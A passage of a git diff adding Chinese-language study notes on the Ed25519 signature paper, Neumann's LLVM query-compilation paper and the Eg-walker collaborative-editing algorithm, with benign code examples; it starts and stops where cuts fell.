+1. 检查 \(R\)、\(S\) 在合法范围内（\(S < \ell\)，\(R\) 在曲线上）
+2. 计算 \(h = H(R \,\|\, A \,\|\, M)\)
+3. 验证 \(SB = R + hA\)（椭圆曲线多标量乘）
+
+验证只做**加法链**，私钥从不出现；实现可用 Straus / Bos–Coster 做多标量乘，论文单签约 **273364 周期**。
+
+### 4. 批量验证（Batch Verification）
+
+验签方程 \(SB = R + hA\) 可对多条签名做随机线性组合，一次多标量乘验一批——摊销后每条签名周期数可降到 **13 万以下**。代价是：**ECDSA 的验签方程结构不支持**这种廉价批处理，这是 EdDSA 族在 CDN、区块链轻客户端、日志审计等场景的结构性优势。
+
+### 5. 侧信道防护（论文核心卖点之一）
+
+论文要求参考实现满足：
+
+- **无秘密数组下标**：访存地址不依赖私钥比特 → 抗 cache-timing
+- **无秘密分支**：跳转模式不依赖私钥 → 抗分支预测泄漏
+
+这与「先快后补洞」的 OpenSSL ECDSA 形成对比。现代 libsodium、ref10、HACL\* 等库延续这一传统（见 [[hacl-star-2017]]）。
+
+## 与 RSA / ECDSA 对照
+
+| 维度 | RSA-2048 | ECDSA P-256 | Ed25519 |
+|------|----------|-------------|---------|
+| 公钥大小 | 256+ 字节 | 33 字节（压缩） | **32 字节** |
+| 签名大小 | 256 字节 | 64–72 字节（DER 可变） | **64 字节固定** |
+| 签名速度 | 慢 | 中等 | **很快** |
+| 验签速度 | 中等 | 中等 | **很快** |
+| Nonce | 不适用 | **必须高质量随机 \(k\)** | **确定性，无需随机 \(k\)** |
+| 编码歧义 | PKCS#1 v1.5 坑 | DER 非唯一 | **规范编码** |
+| 哈希碰撞 | 影响签名安全 | \(H(M)\) 碰撞可伪造 | **设计层缓解** |
+
+## 代码示例
+
+### 示例 1：Python（`cryptography` 库）
+
+```python
+from cryptography.hazmat.primitives.asymmetric.ed25519 import (
+    Ed25519PrivateKey,
+)
+from cryptography.hazmat.primitives import serialization
+
+# 生成密钥对
+private_key = Ed25519PrivateKey.generate()
+public_key = private_key.public_key()
+
+# 导出 PEM（可选，便于存盘）
+priv_pem = private_key.private_bytes(
+    encoding=serialization.Encoding.PEM,
+    format=serialization.PrivateFormat.PKCS8,
+    encryption_algorithm=serialization.NoEncryption(),
+)
+pub_pem = public_key.public_bytes(
+    encoding=serialization.Encoding.PEM,
+    format=serialization.PublicFormat.SubjectPublicKeyInfo,
+)
+
+message = b"study note: Ed25519 signs this payload"
+
+# 签名：内部即 Ed25519-SHA-512，确定性
+signature = private_key.sign(message)
+assert len(signature) == 64
+
+# 验签
+public_key.verify(signature, message)  # 失败会抛 InvalidSignature
+
+# 篡改一字节即失败
+try:
+    public_key.verify(signature[:-1] + bytes([signature[-1] ^ 1]), message)
+except Exception as e:
+    print("tamper detected:", type(e).__name__)
+```
+
+同一私钥、同一消息，多次 `sign` 得到**完全相同**的 64 字节——这是与 ECDSA 最直观的 API 层差异。
+
+### 示例 2：Node.js（`crypto` 内置）
+
+```javascript
+import { generateKeyPairSync, sign, verify, createPublicKey } from "node:crypto";
+
+const { privateKey, publicKey } = generateKeyPairSync("ed25519");
+
+const data = Buffer.from("pipeline-v3 ed25519 note", "utf8");
+
+const sig = sign(null, data, privateKey);
+console.log("signature length:", sig.length); // 64
+
+const ok = verify(null, data, publicKey, sig);
+console.log("verify:", ok); // true
+
+// 从私钥导出公钥对象（验签方通常只持 publicKey）
+const derivedPub = createPublicKey(privateKey);
+console.log(
+  "keys match:",
+  derivedPub.export({ type: "spki", format: "der" }).equals(
+    publicKey.export({ type: "spki", format: "der" })
+  )
+);
+```
+
+生产环境应把私钥放在 HSM、云 KMS 或至少权限受限的文件里；上面片段仅演示算法接口。
+
+### 示例 3：OpenSSH 命令行（零代码上手）
+
+```bash
+# 生成 Ed25519 主机/用户密钥（默认已广泛支持）
+ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "me@study"
+
+# 查看公钥（32 字节 raw → base64 在 OpenSSH 格式里）
+cat ~/.ssh/id_ed25519.pub
+# ssh-ed25519 AAAAC3Nza... me@study
+
+# 用该密钥登录（服务端需配置 authorized_keys）
+ssh -i ~/.ssh/id_ed25519 user@host
+```
+
+`ssh-ed25519` 类型字符串后的 blob 即 Ed25519 公钥的 SSH 编码，与论文 32 字节公钥一一对应（外加类型前缀与 comment）。
+
+## 签名方程一览（便于手推）
+
+设基点 \(B\)，私钥标量 \(a\)，公钥 \(A=aB\)。签名时：
+
+\[
+r = H(h_{\text{prefix}}, M) \bmod \ell,\quad R = rB,\quad S \equiv r + H(R,A,M)\,a \pmod \ell
+\]
+
+验签：
+
+\[
+SB \stackrel{?}{=} R + H(R,A,M)\,A
+\]
+
+若成立，则 \(S B = rB + h a B = R + hA\)。全程只需标准群运算与 SHA-512——**没有模 \(n\) 的求逆、没有 DER 拼装**。
+
+## 标准与实现地图
+
+| 文档 / 项目 | 说明 |
+|-------------|------|
+| 原论文 PDF | [ed25519-20110926.pdf](https://ed25519.cr.yp.to/ed25519-20110926.pdf) |
+| 期刊版 | *Journal of Cryptographic Engineering* 2 (2012), 77–89 |
+| **RFC 8032** | IETF 标准 EdDSA，含 Ed25519 测试向量 |
+| **libsodium** / NaCl | `crypto_sign_ed25519`，论文作者生态的参考实现 |
+| **RFC 8410** | PKIX 中 Ed25519 公钥编码 |
+| **OpenSSH / OpenSSL 3** | 生产部署最常用入口 |
+
+读 RFC 8032 时以论文为「为什么这样设计」，以 RFC 为「字节级互操作规范」。
+
+## 踩过的坑
+
+1. **把 Ed25519 当 X25519 用**：Curve25519 是 Montgomery 形做 DH（[[curve25519-2006]]）；Ed25519 是 Edwards 形做签名。公钥编码不同，**不能**把 DH 公钥直接当验签公钥，需用标准转换（libsodium `crypto_sign_ed25519_sk_to_pk` 等）。
+2. **私钥 64 字节 vs 32 字节种子**：libsodium 的 `secretkey` 常是 64 字节（seed \(\|\) pubkey）；只存前 32 字节 seed 即可重建，但备份格式要一致。
+3. **上下文（context）扩展**：Ed25519 ctx（RFC 8032）在 \(H\) 输入里加域分离字符串；与「纯」Ed25519 不互通，库需显式选 `Ed25519ph` / `Ed25519ctx`。
+4. **批量验签的随机数**：批验用随机系数组合方程，实现必须用密码学安全随机，且失败时要有回退单条验签。
+5. **合规话术**：「128 位安全」指经典攻击模型；**量子计算机**上 Shor 类算法仍威胁离散对数——长期身份密钥需规划向 ML-DSA（CRYSTALS-Dilithium）等迁移，Ed25519 是当下工程默认，不是终极答案。
+
+## 与知识图谱的衔接
+
+- **前置**：[[diffie-hellman]]（公钥范式）、[[rsa-1978]]（签名语义）、[[curve25519-2006]]（同源曲线）
+- **并列**：[[hkdf-rfc5869]]（派生密钥，不替代签名）、[[noise-protocol-framework]]（握手里常用 Ed25519 身份）
+- **实现向**：[[hacl-star-2017]]（验证过的 Curve25519/Ed25519 算术）
+
+## 小结
+
+Ed25519 把 Edwards 曲线、确定性 nonce、哈希挑战格式和常数时间实现绑成**一套短密钥、短签名、快慢验、默认可互操作**的方案。论文的贡献不仅是「又一条椭圆曲线」，而是证明：**在 128 位经典安全级别上，签名可以比 RSA/ECDSA 小得多、快得多，同时把侧信道与随机数失败模式从设计上拿掉**。今天你在 SSH、Git、TLS、容器签名里看到的 `ed25519`，基本都是这篇 2011 年工作的工程后代。
+
+---
+
+## 参考资料
+
+- Bernstein, Duif, Lange, Schwabe, Yang, *High-speed high-security signatures*, 2011. https://ed25519.cr.yp.to/ed25519-20110926.pdf
+- 项目主页与性能数据：https://ed25519.cr.yp.to/
+- IETF RFC 8032: Edwards-Curve Digital Signature Algorithm (EdDSA)
+- eBATS 基准（论文周期数来源）：https://bench.cr.yp.to/
diff --git a/src/content/docs/papers/efficient-compile-2011.md b/src/content/docs/papers/efficient-compile-2011.md
new file mode 100644
index 000000000..ec9aaf1fd
--- /dev/null
+++ b/src/content/docs/papers/efficient-compile-2011.md
@@ -0,0 +1,320 @@
+---
+title: Efficiently Compiling Efficient Query Plans for Modern Hardware — 面向现代 CPU 的查询编译
+来源: https://www.vldb.org/pvldb/vol4/p539-neumann.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：流水线 vs 现做现炒
+
+想象一家大型**中央厨房**要处理成千上万份订单（SQL 查询）。
+
+**老式 Volcano（火山/迭代器）模型**像每条产线都设一个「中转站管理员」：
+
+- 每做好**一份菜**（一行 tuple），管理员就打电话问上游「下一道是什么？」——对应 `Next()` 虚函数调用；
+- 电话要打**几百万次**，而且对方号码还经常变（函数指针），CPU 分支预测器猜不准；
+- 每转一站，案板上的食材（寄存器里的列值）就被清空，下次还得重新从仓库（内存）搬——**局部性极差**。
+
+**批处理 / 向量化**模型像改成「一次端出一托盘」：电话少打了，但托盘太大，放不进灶台（寄存器），只好先堆在临时货架上——**流水线（pipelining）断了**，内存带宽压力上来。
+
+Neumann 在 VLDB 2011 这篇论文里提出第三条路：**把整张订单编译成一段「现做现炒」的专用机器码**——
+
+- 食材在寄存器里一路传递，直到必须「装盘」（pipeline breaker 物化）才写内存；
+- 数据**推（push）**向消费者，而不是算子**拉（pull）**；
+- 用 **LLVM JIT** 在毫秒级生成接近手写 C++ 性能的本地代码。
+
+这套思路集成在 TUM **HyPer** 内存数据库中，后来深刻影响了 Umbra、DuckDB、Hyper/Tableau 等系统的执行引擎设计。
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 内存够大了，瓶颈回到 CPU
+
+当数据能放进主存，查询耗时不再由磁盘 I/O 主导，而是 **CPU 怎么算** 主导。Volcano 模型诞生于 I/O 时代，其「每行一次虚调用」的开销在内存数据库里变得不可接受。
+
+### 2. 向量化仍输给手写代码
+
+MonetDB/X100（后来的 VectorWise）用向量批处理大幅提速，但论文引用 Figure 1 表明：对 TPC-H Q1 这类简单聚合，**手写 C++ 仍明显更快**——说明现有执行模型在「把数据留在寄存器里」这件事上还有根本差距。
+
+### 3. 查询编译不是新概念，但旧路有坑
+
+| 方案 | 问题 |
+|------|------|
+| 编译成 JVM 字节码（IBM 等） | 仍用迭代器模型，收益有限 |
+| 编译成 C 再调 gcc（HIQUE 等） | **编译秒级**，交互式查询不可接受 |
+| HyPer 早期：拼接 C++ 代码片段 | 性能尚可，但 gcc 编译慢、代码生成易错 |
+
+论文的核心主张：**代数计划仍然用于优化与推理，但执行时不应再暴露算子边界**——而应编译成 **data-centric（以数据为中心）** 的 imperative 程序。
+
+---
+
+## 核心概念
+
+### 1. Volcano / Iterator 模型（对照组）
+
+每个物理算子实现 `open` / `next` / `close`，上层反复 `next()` 拉取下一行：
+
+- 优点：组合任意算子、逻辑清晰（System R 传统）。
+- 缺点：每 tuple 跨函数边界；虚调用 / 函数指针；中间状态散落，**cache 与分支预测**双输。
+
+### 2. Pipeline Breaker（流水线断点）
+
+论文采用比常规定义**更严格**的 pipeline breaker：
+
+> 若算子把传入 tuple **赶出 CPU 寄存器**（通常意味着物化到内存），则对该输入侧是 breaker；若**全部物化**后再继续，则是 **full pipeline breaker**。
+
+目标：**在两个 breaker 之间，tuple 尽量只活在寄存器里**，热路径是纯 tight loop。
+
+典型 breaker：Hash Join 的 build 侧、Sort、Group By 哈希表构建等。
+
+### 3. Push vs Pull
+
+| | Pull（Volcano） | Push（本文） |
+|---|----------------|--------------|
+| 控制流 | 父算子向下要数据 | 子算子向上**推**数据 |
+| 寄存器 | 每次 `next()` 易 spill | 连续 push 直到 breaker |
+| 代码形状 | 递归、多层调用 | **单段紧凑循环** |
+
+### 4. Data-Centric 编译
+
+算子边界在**生成代码里被抹平**。例如 `Scan(R1) → σ(x=7) → HashBuild` 编译成**同一段**循环：扫列、比 predicate、写 hash 表——不再有三个独立 `Next()`。
+
+### 5. produce / consume 接口（仅存在于编译器内）
+
+编译器视角下，每个算子提供两个概念方法：
+
+- **`produce()`**：向下游算子要输入，启动数据流；
+- **`consume(attributes, source)`**：收到上游推来的 tuple，执行本算子逻辑。
+
+**关键点**：这两个函数**不会出现在运行时**——编译器根据它们**展开成 imperative 代码**。运行时只有 LLVM 生成的机器码。
+
+### 6. LLVM + C++ 混合执行
+
+```
+┌─────────── LLVM 生成的「链条」：filter / hash / 内循环 ───────────┐
+│  ○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○──○  │
+└────┬───────────────────────────────┬─────────────────────────────┘
+     │ 偶尔调用                       │ 复杂算子交还控制
+     ▼                               ▼
+  C++「齿轮」：索引结构、页分配、外排 merge、spill 到磁盘 …
+```
+
+- **热路径（99% tuple）**：纯 LLVM，寄存器常驻；
+- **冷路径**：调预编译 C++（如 hash 表扩容、换页）——偶尔 spill 寄存器可接受，**每行都 spill 不行**。
+
+LLVM 优势：JIT **毫秒级**、SSA「无限寄存器」简化代码生成、强类型抓 bug、自动受益于未来编译器/CPU 优化。
+
+---
+
+## 代码示例 1：Volcano vs 编译后的 Push 伪代码
+
+下面用简化 SQL 说明两种执行形态的差异：
+
+```sql
+SELECT * FROM R1, R3,
+  (SELECT R2.z, COUNT(*) FROM R2 WHERE R2.y = 3 GROUP BY R2.z) R2
+WHERE R1.x = 7 AND R1.a = R3.b AND R2.z = R3.c;
+```
+
+**Volcano 风格（Pull，每行多次虚调用）：**
+
+```python
+def top_join_next():
+    while True:
+        t3 = scan_R3_next()          # 虚调用
+        if t3 is None: return None
+        for t2 in hash_probe_Bzc(t3.c):   # 又一次算子边界
+            for t1 in hash_probe_Bab(t3.b):
+                if t1.x == 7:          # 本可在 scan 时过滤
+                    yield merge(t1, t2, t3)
+```
+
+**Data-centric 编译结果（Push，Figure 4 精神）：**
+
+```python
+# 片段 1：build Ba=b
+for t in R1:
+    if t.x == 7:
+        hash_table_Bab.insert(t)
+
+# 片段 2：build Γz on R2
+for t in R2:
+    if t.y == 3:
+        agg_hash_Gz.add(t.z)
+
+# 片段 3：materialize Γz → build Bz=c
+for (z, cnt) in agg_hash_Gz:
+    hash_table_Bzc.insert(z, cnt)
+
+# 片段 4：probe 并输出（内层 tight loop，列值可驻寄存器）
+for t3 in R3:
+    for t2 in hash_table_Bzc.probe(t3.c):
+        for t1 in hash_table_Bab.probe(t3.b):
+            output(t1, t2, t3)
+```
+
+注意：`σ(x=7)` 与 R1 scan **融进片段 1**，不再单独成算子；片段 4 是性能关键路径。
+
+---
+
+## 代码示例 2：produce / consume 如何展开（Figure 5 简化）
+
+编译器内部的翻译规则（示意）：
+
+```text
+# HashJoin B
+B.produce():
+    B.left.produce()
+    B.right.produce()
+
+B.consume(attrs, source):
+    if source == B.left:
+        emit LLVM: "materialize attrs into hash table slot"
+    else:
+        emit LLVM: "for each match in hashTable[attrs.joinKey]: ..."
+        B.parent.consume(merged_attrs, B)
+
+# Selection σ
+σ.produce():
+    σ.input.produce()
+
+σ.consume(attrs, source):
+    emit LLVM: "if (" + σ.condition + ") { parent.consume(attrs); }"
+
+# TableScan
+scan.produce():
+    emit LLVM: "for each tuple t in relationFragment:"
+    emit LLVM: "    parent.consume(t.columns, scan)"
+```
+
+对 Figure 3 的算子树应用上述规则，就得到 Figure 4 的四段 imperative 代码——**规则简单，但真实实现要跟踪属性依赖、相关子查询、多输入 join 左右差异等**（论文称 SQL-92 全套算子代码生成约 11,000 行）。
+
+---
+
+## 代码示例 3：分支布局对性能的影响
+
+Hash 表冲突链遍历若写成「混合存在性与链表结束」的 while，分支预测约 50/50，**极慢**。论文建议拆成：
+
+```cpp
+// 不友好：while 混合两种分支语义
+Entry* iter = hashTable[hash];
+while (iter) {
+    inspect(iter);
+    iter = iter->next;
+}
+
+// 友好：先判断桶非空，再 do-while 短链
+Entry* iter = hashTable[hash];
+if (iter) {
+    do {
+        inspect(iter);
+        iter = iter->next;
+    } while (iter);
+}
+```
+
+论文报告：**仅调整分支结构**即可让 hash lookup 快 **20%+**。LLVM 生成代码时同样遵守此布局原则。
+
+---
+
+## 与高级技术的结合
+
+论文第 5 节说明框架可**自然扩展**，不必退回 Volcano：
+
+| 技术 | 如何融入 |
+|------|----------|
+| **SIMD** | 在 push 路径上把多个 tuple 打包进向量寄存器；LLVM 原生支持 vector type |
+| **块处理** | 以 **fragment**（连续 tuple 块）为单位循环——与存储布局对齐 |
+| **多核** | 不同 fragment 可并行；merge 结果需额外逻辑（论文留作 future work，后续 morsel-driven 等工作接续） |
+
+---
+
+## 实验结果（HyPer，TPC-CH 基准）
+
+### OLTP（TPC-C，12 warehouse，单线程）
+
+| 后端 | 吞吐 (tps) | 总编译时间 |
+|------|------------|------------|
+| HyPer + C++ | 161,794 | **16.53 s** |
+| HyPer + LLVM | 169,491 | **0.81 s** |
+
+OLTP 查询简单、touch tuple 少，运行时差距不大；**编译时间差一个数量级**决定能否用于交互式场景。
+
+### OLAP（TPC-H 改编 Q1–Q5，warm run）
+
+| 查询 | HyPer C++ (ms) | HyPer LLVM (ms) | VectorWise | MonetDB |
+|------|----------------|-----------------|------------|---------|
+| Q1 | 142 | **35** | 98 | 72 |
+| Q2 | 374 | **125** | — | 218 |
+| Q3 | 141 | **80** | 257 | 112 |
+| Q4 | 203 | **117** | 436 | 8168 |
+| Q5 | 1416 | **1105** | 1107 | 12028 |
+
+Q1（单 scan + 聚合）最能体现寄存器常驻优势；Q5 join 重时差距缩小。
+
+### 代码质量（callgrind，相对 MonetDB）
+
+- **分支总数**：LLVM 版通常少一个数量级（单段代码 vs BAT 多次触碰）；
+- **分支误判**、**L1/L2 cache miss**：LLVM 版多数查询更低；
+- **动态指令数**：LLVM 生成代码更紧凑。
+
+---
+
+## 与后续系统的关系
+
+| 系统 / 工作 | 关联 |
+|-------------|------|
+| **HyPer + Morsel-Driven (2014)** | 同一数据库上的 **并行调度** 层；编译出快代码，morsel 负责多核 |
+| **Umbra (Neumann 后续)** | 继承 data-centric + LLVM 路线 |
+| **DuckDB** | 向量化 + 可选 **query pipeline 编译**；工程上吸收了「少物化、紧循环」思想 |
+| **Velox / 各云引擎** | 物理计划执行层分离；Neumann 2011 解决的是「单节点内核如何贴近 CPU」 |
+
+读 2011 论文时的一个心法：**优化器产出的是代数 DAG，但 CPU 想执行的是「for 循环 + 少分支 + 寄存器里算完」**——编译层的工作就是把前者变成后者。
+
+---
+
+## 实现与维护性
+
+- SQL-92 代数算子 → LLVM 的代码生成器：**约 11,000 行**（论文结论：compact and maintainable）；
+- 不必手写汇编：LLVM SSA + 类型检查降低 bug 率；
+- 依赖 **主流编译器栈**，硬件升级时 DBMS 不必重写算子内核。
+
+---
+
+## 局限与未覆盖点
+
+1. **并行划分策略**论文仅点到为止（2014 morsel 论文专门补这块）；
+2. **磁盘 spill** 存在但与内存场景相比论述较少；
+3. **编译计划缓存**：重复查询摊销编译成本，论文实验用 prepared query warm run；
+4. **超宽表 / 超大 tuple**：「全部进寄存器」假设会破，需物化部分列。
+
+---
+
+## 零基础自检清单
+
+读完后，你应该能回答：
+
+1. **为什么 Volcano 在内存数据库里慢？**（每行虚调用、寄存器 spill、分支预测）
+2. **Pipeline breaker 在本文里是什么意思？**（被迫离开寄存器的物化点）
+3. **Push 和 Pull 的本质区别？**（控制流方向 + 能否生成单段 tight loop）
+4. **produce/consume 何时存在？**（仅编译期；运行时是 LLVM 机器码）
+5. **为何选 LLVM 而不是 runtime 拼 C++？**（JIT 快、代码质量、可移植、类型安全）
+6. **Q1 为何是最佳 showcase？**（scan + agg，几乎无 join，寄存器策略收益最大）
+
+---
+
+## 延伸阅读
+
+- Thomas Neumann, *Efficiently Compiling Efficient Query Plans for Modern Hardware*, PVLDB 4(9), 2011. [PDF](https://www.vldb.org/pvldb/vol4/p539-neumann.pdf)
+- Kemper & Neumann, *HyPer: A hybrid OLTP&OLAP main memory database system*, ICDE 2011（同一系统的 OLTP/OLAP 混合架构）
+- Leis et al., *Morsel-Driven Parallelism*, SIGMOD 2014（HyPer 并行执行，本仓库笔记：`morsel-driven-2014.md`）
+- Boncz et al., *MonetDB/X100: Hyper-Pipelining Query Execution*, CIDR 2005（向量化对照组）
+
+---
+
+## 一句话总结
+
+**不要把 SQL 计划当作运行时的一串算子对象去「拉」——在编译期把它展开成 push 式、breaker 之间寄存器友好的机器码；LLVM 让这种展开既快又便携，从而在现代 CPU 上逼近手写 C++ 的执行效率。**
diff --git a/src/content/docs/papers/eg-walker-collab-text-2024.md b/src/content/docs/papers/eg-walker-collab-text-2024.md
new file mode 100644
index 000000000..2b24cd6fb
--- /dev/null
+++ b/src/content/docs/papers/eg-walker-collab-text-2024.md
@@ -0,0 +1,296 @@
+---
+title: Eg-walker — 协同文本编辑的「按需 CRDT」：更好、更快、更小
+来源: https://arxiv.org/abs/2409.14252
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：Git 分支合并，但不用背整本字典
+
+你和同事在改同一份稿子。最土的做法是**抢锁**：谁拿到锁谁改，别人等着——像会议室里只有一支马克笔。
+
+**Google Docs** 像**魔法白板**：你插一个字、对方插一个字，最后板上自动变成合理结果。背后常用 **OT（Operational Transformation，操作变换）**：收到别人的操作时，按规则「平移」插入位置。两人各改一处时很快；但若你们**各自离线写了一万字**再合并，OT 要把你的每个操作和对方的每个操作两两变换，复杂度往往 **O(n²)** 甚至更差——论文里有一个真实 trace，OT 合并要 **1 小时**，而 Eg-walker 只要 **24 ms**。
+
+**Yjs / Automerge** 这类 **CRDT** 像给每个字符发**永久身份证**：并发插入不靠整数下标，靠 ID 排序，合并时不用 OT 那种两两变换。代价是：身份证和墓碑（已删字符的元数据）要**一直留在内存和磁盘里**。打开一篇长文，CRDT 可能比纯文本多占 **10 倍以上** 内存——所以 Google Docs、Overleaf 仍选 OT。
+
+**Eg-walker**（Event Graph Walker，事件图漫步者）想兼得两边优点：
+
+- **平时**：内存里只有**纯文本**（像 OT），没有 CRDT 元数据；
+- **合并并发分支时**：临时启动内部 CRDT，算完就**扔掉**（像「只借一次字典」）；
+- **历史**：用**事件图（DAG）** 记录谁何时做了什么，磁盘上可高度压缩。
+
+作者 Joseph Gentle 与 Martin Kleppmann（[[crdt-json]] 合著者之一）在 **EuroSys 2025** 发表此文，获 **Gilles Muller Best Artifact Award**；实现与 benchmark 见 [egwalker-paper](https://github.com/josephg/egwalker-paper)。
+
+## 是什么
+
+Eg-walker 是一种**纯文本协同编辑算法**，保证：
+
+1. 多副本最终看到**相同字符序列**（强 eventual consistency）；
+2. 并发插入在语义上满足 **maximally non-interleaving**（同位置并发插入不会乱交错成 `a1b2` 这种「拉链」）；
+3. 不依赖中心服务器，可用于 **P2P**（飞机舱内、野外科考、断网协作等场景）。
+
+每个副本持久化三块状态中的两块：
+
+| 状态 | 内容 | 是否持久化 |
+|------|------|------------|
+| **Event graph** | 插入/删除操作的 DAG，带 parent 指针 | 是（紧凑二进制格式） |
+| **Document state** | 当前可见文本（rope / piece table 等） | 是（可当纯文本文件） |
+| **Internal state** | 临时 CRDT + 双版本 B 树 | **否**（合并完可丢弃） |
+
+这与 [[zed-editor-collaborative]] 等「CRDT 常驻内存」的路线形成鲜明对比：Zed 把 CRDT 当一等公民；Eg-walker 把 CRDT 当**合并时的临时工**。
+
+## 为什么重要
+
+不懂 Eg-walker，下面问题很难答清：
+
+1. **OT 和 CRDT 的二选一是不是永恒的？** —— 论文证明可以 hybrid：索引式操作 + 按需 CRDT。
+2. **为什么 local-first / 离线写作 + Git 式分支** 在 OT 编辑器里很难做？ —— 大 divergence 下 OT 合并太慢；Eg-walker 针对 DAG 合并做到 **O(n log n)** 量级。
+3. **打开 10 万字文档为何 CRDT 编辑器卡顿？** —— 要加载全部字符 ID 与墓碑；Eg-walker 稳态内存接近纯文本。
+4. **和 Kleppmann 之前工作什么关系？** —— 同一「事件图 + 纯函数 replay」脉络，但 Eg-walker 是**首个**在文本上同时击败 OT（大分支）与 CRDT（内存/加载）主流弱点的实用算法。
+
+## 架构全景
+
+```mermaid
+flowchart LR
+  subgraph 持久化
+    EG[Event Graph DAG]
+    DOC[Document Text]
+  end
+
+  subgraph 临时["仅合并时存在"]
+    CRDT[Internal CRDT]
+    BT[Order-statistic B-trees]
+  end
+
+  User[用户编辑] -->|Insert i / Delete i| EG
+  User --> DOC
+  Remote[远端事件] --> EG
+  EG -->|拓扑排序 + walk| CRDT
+  CRDT --> BT
+  CRDT -->|变换后的 index 操作| DOC
+  CRDT -.->|合并完成| x[丢弃]
+```
+
+## 核心概念
+
+### 1. 操作与事件图
+
+基本操作（可压缩为连续 run）：
+
+- `Insert(i, c)` — 在零基下标 `i` 插入字符 `c`
+- `Delete(i)` — 删除下标 `i` 处的字符
+
+每个操作包装成 **event**：含唯一 ID、`parents`（生成时本副本已知的 frontier 事件集）、原始 index 操作。所有 event 构成 **DAG**：
+
+- `a → b`：a 发生在 b 之前（因果序）
+- `a ∥ b`：并发，互不前驱
+
+**Frontier（版本）** = 当前图中「没有子节点」的事件集合，可看作逻辑时钟：「我此刻认定世界长什么样」。
+
+Figure 1 经典例子：两人从 `Helo` 出发，一人 `Insert(3,"l")`，另一人 `Insert(4,"!")`。在 User 1 侧，后到的 `Insert(4,"!")` 必须变成 `Insert(5,"!")` 才得到一致的 `Hello!`。
+
+### 2. replay 抽象
+
+协同算法可统一写成纯函数：
+
+```text
+doc = replay(event_graph)
+```
+
+给定已有图 `G` 与当前文档 `doc`，新事件 `e` 的增量更新是：求出一个 **index 操作** `op'`，使得 `apply(doc, op') = replay(G ∪ {e})`。OT 和 CRDT 都是求这个 `op'` 的不同实现；Eg-walker 用 **walk + 临时 CRDT** 求。
+
+### 3. prepare 版本 vs effect 版本
+
+内部状态同时跟踪两个「文档版本」：
+
+- **prepare version**：解释**当前 event 原始下标**时所处的文档快照（= event 的 parents 所定义的版本）
+- **effect version**：**所有已处理 event** 生效后的文档
+
+对应三个原语（论文 Section 3.2）：
+
+- `apply(e)` — prepare 已对齐 `e.parents` 时，把 e 纳入两版本并输出变换后的操作
+- `retreat(e)` — 从 prepare 版本**撤销** e 的效果（effect 不变）
+- `advance(e)` — 把已在 effect 中的 e **加回** prepare
+
+遍历 DAG 时，常在分支间切换：先 `retreat` 掉与下一 event 并发的操作，再 `apply` 新分支，必要时 `advance` 共同祖先。这就像 Git rebase 时在多个 branch 间切来切去，但对象是**字符级操作**而非 commit。
+
+### 4. 内部 CRDT 与双状态位
+
+每个字符一条 record，含：
+
+- 插入 event 的 ID
+- `s_p`：prepare 中可见性（`NotInsertedYet` / `Ins` / `Del 1` / `Del 2` / …）
+- `s_e`：effect 中可见性（`Ins` / `Del`）
+
+并发插入的顺序由内部 list CRDT（实现采用 Yjs/YATA 变体）决定。`retreat`/`advance` 只改 `s_p`；`apply` 更新 `s_e` 并可能输出对**当前纯文本**的 Insert/Delete。
+
+为 O(log n) 找「第 i 个可见字符」，论文用 **order-statistic B-tree** 维护子树内 `s_p=Ins` / `s_e=Ins` 的计数；另有一棵 **event ID → record** 的 B-tree 支持按 ID 做 retreat/advance。
+
+### 5. Critical version 与部分 replay
+
+**Critical version** `V`：把事件图切成 `G1 = Events(V)` 与 `G2 = G - G1`，且 `G1` 中每个事件都发生在 `G2` 每个事件之前。直观理解：**一次「全员同步点」**，之后没有与之前并发的编辑。
+
+关键优化：
+
+- 到达 critical version 时可**清空 internal state**；
+- 若 event 与其 parent 都在 critical version 上，**无需变换**，原样输出；
+- 增量合并新事件时，只需从**最近 critical version 之后**的子图 replay，前面用 **placeholder** 代表「未知长度的旧文档」。
+
+因此典型「轮流写、很少并发」的论文/代码 trace，绝大部分 event 走**零变换快路径**；只有并发簇附近才付 CRDT 成本。
+
+### 6. 与 OT / CRDT 的复杂度对照
+
+| 场景 | OT | 常驻 CRDT | Eg-walker |
+|------|-----|-----------|-----------|
+| 在线小编辑（n 小） | 快 | 元数据常驻 | 快（常无 internal state） |
+| 两分支各 n 个离线 op 合并 | O(n²)+ | O(n) 但带大常数 | **O(n log n)** |
+| 稳态内存 | ~纯文本 | 文本 + ID/墓碑 | **~纯文本** |
+| 打开文档 | 快 | 慢（加载 CRDT） | **快**（主要加载文本 + 压缩事件图） |
+| P2P / 无服务器 | 部分 OT 受限 | 可以 | **可以** |
+
+最坏情况下 Eg-walker 合并性能与最好 CRDT 相当；最好情况下比 CRDT 省 **1–2 个数量级**内存，比 OT 快**数个数量级**。
+
+## 代码示例
+
+### 示例 1：事件结构与并发插入（教学用 TypeScript）
+
+下面不是论文官方代码，但忠实于论文 Figure 1–2 的建模方式：
+
+```typescript
+type Op =
+  | { kind: "insert"; index: number; char: string }
+  | { kind: "delete"; index: number };
+
+interface Event {
+  id: string;
+  parents: string[]; // frontier at creation time
+  op: Op;
+}
+
+// 两人从 "Helo" 并发编辑
+const e3: Event = {
+  id: "e3",
+  parents: ["e2"], // 已知 ...Hel
+  op: { kind: "insert", index: 3, char: "l" },
+};
+
+const e4: Event = {
+  id: "e4",
+  parents: ["e2"], // 同样基于 ...Hel，与 e3 并发
+  op: { kind: "insert", index: 4, char: "!" },
+};
+
+// replay 后两边都应是 "Hello!"
+// User1 侧：先应用 e3 → "Hell"，收到 e4 需变换为 Insert(5,"!")
+// Eg-walker 在 walk 时通过 prepare/effect 版本自动完成该变换
+```
+
+要点：**event 里永远存原始 op**；变换只发生在应用到本地 `doc` 时，不篡改历史。
+
+### 示例 2：prepare 版本切换（retreat / advance 骨架）
+
+对应论文 Figure 4（`hi` → 一路径变 `hey`，另一路径变 `Hi`，最后加 `!`）的简化控制流：
+
+```typescript
+type Walker = {
+  prepare: Set<string>; // event ids in prepare version
+  effect: Set<string>;  // event ids in effect version
+};
+
+function movePrepare(w: Walker, targetParents: Set<string>, topo: string[]) {
+  const oldEvents = expandTransitive(w.prepare);
+  const newEvents = expandTransitive(targetParents);
+
+  // 先 retreat：old - new，逆拓扑序
